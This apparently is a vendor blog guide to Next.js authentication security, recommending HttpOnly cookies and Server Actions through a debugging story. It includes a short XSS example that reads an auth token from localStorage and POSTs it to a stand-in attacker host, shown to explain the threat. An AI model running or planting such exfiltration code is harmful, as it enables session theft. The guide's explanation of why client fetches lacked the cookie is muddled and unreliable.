Authentication security is harder than it looks. When we recently debugged a mysterious logout bug in our analytics dashboard, we discovered a fundamental lesson about Next.js authentication: HttpOnly cookies and Server Actions aren't just security best practices—they're architectural requirements for building secure applications.
This guide will walk you through everything we learned about authentication security in Next.js, including why certain patterns work, why others fail, and what to watch out for in your own applications.
The XSS Problem Nobody Wants to Talk About
Here's what keeps security engineers up at night: Cross-Site Scripting (XSS) vulnerabilities are found in 25-50% of web applications tested, according to Acunetix's Web Application Vulnerability Reports from 2017-2020. Despite being a well-known issue for over two decades, XSS remains one of the most prevalent security vulnerabilities.
Cross-Site Scripting isn't some obscure edge case that only happens to careless developers. It's consistently ranked in the OWASP Top 10 (now grouped under Injection vulnerabilities), and in Claranet's 2024 security testing, they discovered 2,570 instances of XSS across the web applications they analyzed—making it one of the most common vulnerabilities found over the past five years.
Here's the attack in five lines of JavaScript:
// Injected malicious script
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token, url: window.location.href })
});
That's it. With just a few lines of injected JavaScript, an attacker can steal a user's session, impersonate them, access sensitive data, and modify records.
The challenge? This type of attack often leaves no trace. There's no error in the console, no alert to the user, and often no audit log entry—making XSS particularly difficult to detect and prevent without the right security architecture.
HttpOnly Cookies: Your First Line of Defense
Never trust client-side storage for authentication tokens.
HttpOnly cookies are the silver bullet for XSS protection. They have one simple, powerful property: client-side JavaScript cannot access them. Period.
Even if an attacker successfully injects malicious code into your application, they hit a wall. The token isn't in localStorage. It isn't in sessionStorage. It isn't accessible via document.cookie. The browser simply won't expose it to any JavaScript context.
This is security by design, not security by obscurity.
Here's how to set an HttpOnly cookie in Next.js:
import { cookies } from 'next/headers';
export async function POST(request: Request) {
const { email, password } = await request.json();
// Authenticate user...
const token = await authenticateUser(email, password);
// Set HttpOnly cookie
cookies().set('token', token, {
httpOnly: true, // JavaScript cannot access
secure: process.env.NODE_ENV === 'production', // HTTPS only in production
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 24 * 7, // 7 days
path: '/', // Available to all routes
});
return Response.json({ success: true });
}
But here's the catch: If JavaScript can't access the cookie, how do you make authenticated API requests from the client?
This is where most developers get stuck—and where Server Actions become absolutely critical.
The Mystery of the Disappearing Sessions
Here's a debugging story that perfectly illustrates why authentication architecture matters.
The Symptom: Users were getting mysteriously logged out whenever they clicked the Analytics tab. Every. Single. Time. The auth flow worked perfectly everywhere else—dashboard, settings, flows. But Analytics? Instant logout.
The Investigation: We checked the obvious culprits first. Was the session expiring? No. Was there a bug in the logout logic? No. Was the API endpoint rejecting requests? No—it was never receiving authenticated requests in the first place.
Then we found it. The Analytics page was using a client-side fetch() call to load data:
// The Culprit
useEffect(() => {
const loadAnalytics = async () => {
const response = await fetch('/api/v1/flows/analytics');
const data = await response.json();
setAnalyticsData(data);
};
loadAnalytics();
}, []);
This code looks perfectly reasonable. It's clean, it's simple, it's how most developers write API calls. But there's a fatal flaw.
The Root Cause: Our authentication tokens lived in HttpOnly cookies. This is correct—it protects against XSS attacks. But HttpOnly cookies have a crucial property: client-side JavaScript cannot access them at all.
When the Analytics page tried to fetch data, the browser made the request without including the authentication cookie. The backend saw an unauthenticated request, returned a 401, and the frontend auth layer interpreted this as "session expired" and logged the user out.
The Fix: Migrate to Server Actions, which run on the server where HttpOnly cookies are fully accessible:
// Server Action (Secure & Functional)
'use server'
import { serverAuthenticatedFetch } from '@/lib/server-fetch';
export async function getFlowAnalytics(flowId: string) {
// Runs on server, can read HttpOnly cookie
return await serverAuthenticatedFetch(`/v1/flows/${flowId}/analytics`);
}
// Client Component
useEffect(() => {
async function loadAnalytics() {
const data = await getFlowAnalytics(flowId);
setAnalyticsData(data);
}
loadAnalytics();
}, [flowId]);
The Lesson: Security and functionality aren't opposing forces. When you use the right architecture (HttpOnly cookies + Server Actions), you get both. The logout bug wasn't a security issue—it was a sign that our security was actually working as designed.
The Dual Fetch Pattern: Security Meets Practicality
Here's the architecture that solves the HttpOnly cookie dilemma: you need two different fetch patterns, one for server-side operations and one for client-side operations.
Pattern 1: Server Actions (Primary Pattern)
Use this for any authenticated data fetching. Server Actions run on the server, where HttpOnly cookies are fully accessible. This is your primary tool for authenticated operations.
// src/app/actions/flows.ts
'use server'
import { cookies } from 'next/headers';
import { serverAuthenticatedFetch } from '@/lib/server-fetch';
export async function getFlowAnalytics(
flowId: string,
timeRange?: string
) {
// This runs on the server, can read HttpOnly cookies
return await serverAuthenticatedFetch(
`/v1/flows/${flowId}/analytics?timeRange=${timeRange}`
);
}
// src/lib/server-fetch.ts
'use server'
import { cookies } from 'next/headers';
export async function serverAuthenticatedFetch<T>(
url: string,
options?: RequestInit
): Promise<T> {
const cookieStore = cookies();
const token = cookieStore.get('token')?.value;
if (!token) {
throw new Error('Unauthorized');
}
const response = await fetch(`${process.env.API_URL}${url}`, {
...options,
headers: {
...options?.headers,
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json',
},
});
if (!response.ok) {
throw new Error(`API error: ${response.status}`);
}
return response.json();
}
Use it from client components:
// Client component
'use client'
import { useEffect, useState } from 'react';
import { getFlowAnalytics } from '@/app/actions/flows';
export function AnalyticsDashboard({ flowId }: { flowId: string }) {
const [data, setData] = useState(null);
useEffect(() => {
async function loadData() {
// Calls server action, which has access to HttpOnly cookie
const analytics = await getFlowAnalytics(flowId, '7d');
setData(analytics);
}
loadData();
}, [flowId]);
// Render your analytics...
}
Pattern 2: Client-Side Fetch (For API Routes)
Use this only when you need to call Next.js API routes directly. The browser will automatically include HttpOnly cookies with same-origin requests if you set credentials: 'include'.
// src/lib/client-fetch.ts
export async function authenticatedFetch<T>(
url: string,
options?: RequestInit
): Promise<T> {
const response = await fetch(url, {
...options,
credentials: 'include', // Browser sends HttpOnly cookies automatically
headers: {
...options?.headers,
'Content-Type': 'application/json',
},
});
if (!response.ok) {
if (response.status === 401) {
// Redirect to login or trigger auth refresh
window.location.href = '/login';
}
throw new Error(`Request failed: ${response.status}`);
}
return response.json();
}
The key difference: Client-side fetch only works with Next.js API routes (same-origin). For external APIs, you MUST use Server Actions.
Your Authentication Security Roadmap
Don't wait for a security incident to force your hand. Here's exactly what to implement, broken down by urgency:
Today (Critical Security Fixes)
Switch to HttpOnly cookies immediately. If you're storing auth tokens in localStorage, you're one XSS vulnerability away from a complete breach.
// Set HttpOnly cookie in your auth endpoint
response.cookies.set('token', authToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 60 * 60 * 24 * 7 // 7 days
});
Audit all client-side API calls. Find everywhere you're using fetch() on the client and ask: does this need authentication? If yes, migrate to a Server Action.
This Week (Architecture Improvements)
Implement dual fetch patterns. Create both server-side and client-side authenticated fetch utilities:
// lib/server-fetch.ts
'use server'
export async function serverAuthenticatedFetch(url: string, options?: RequestInit) {
const session = await getServerSession();
if (!session) throw new Error('Unauthorized');
return fetch(`${process.env.API_URL}${url}`, {
...options,
headers: {
...options?.headers,
'Authorization': `Bearer ${session.token}`,
},
});
}
// lib/client-fetch.ts
export function authenticatedFetch(url: string, options?: RequestInit) {
return fetch(url, {
...options,
credentials: 'include', // Sends HttpOnly cookies
});
}
Add middleware route protection. Don't rely on client-side redirects. Protect routes at the server level:
// middleware.ts
export function middleware(request: NextRequest) {
const token = request.cookies.get('token');
if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
return NextResponse.redirect(new URL('/login', request.url));
}
}
This Sprint (Long-term Security)
Implement refresh token rotation. Short-lived access tokens with secure refresh mechanisms prevent token theft from being catastrophic.
Add comprehensive logging. Track authentication failures, unusual access patterns, and potential security incidents.
Set up automated security scanning. Use tools like OWASP ZAP or your framework's built-in security checkers to catch vulnerabilities before production.
Key Takeaways
Authentication is not a feature you ship once and forget. It's an architectural decision that affects every part of your application, and getting it right from the start saves countless hours of debugging and refactoring later.
The analytics logout bug we debugged taught us that security and functionality aren't opposing forces. When you use the right patterns—HttpOnly cookies with Server Actions—you get both secure authentication and a smooth developer experience.
Remember these principles:
- HttpOnly cookies prevent XSS token theft. They're inaccessible to client-side JavaScript, making them the foundation of secure authentication.
- Server Actions bridge the authentication gap. They run on the server where HttpOnly cookies are accessible, solving the client-side fetch dilemma.
- Client-side token storage is inherently risky. localStorage and sessionStorage leave tokens exposed to any JavaScript running on your page.
- Architecture matters more than implementation details. The patterns you choose determine your security baseline.
Good security doesn't mean sacrificing developer experience. It means choosing the right patterns from the start.
Building secure, conversion-optimized flows shouldn't require a security PhD. UserBoost helps you track user behavior and optimize onboarding while maintaining enterprise-grade security from day one. Start building secure flows now →
Sources and Further Reading
- Acunetix Web Application Vulnerability Report 2020 - XSS vulnerability statistics
- Acunetix Web Application Vulnerability Report 2017 - Historical XSS prevalence data
- Claranet's Top 10 Web Application Vulnerabilities 2024 - Current XSS vulnerability landscape
- OWASP Top 10 - Industry standard web application security risks
- Next.js Server Actions Documentation - Official implementation guide
Share this article
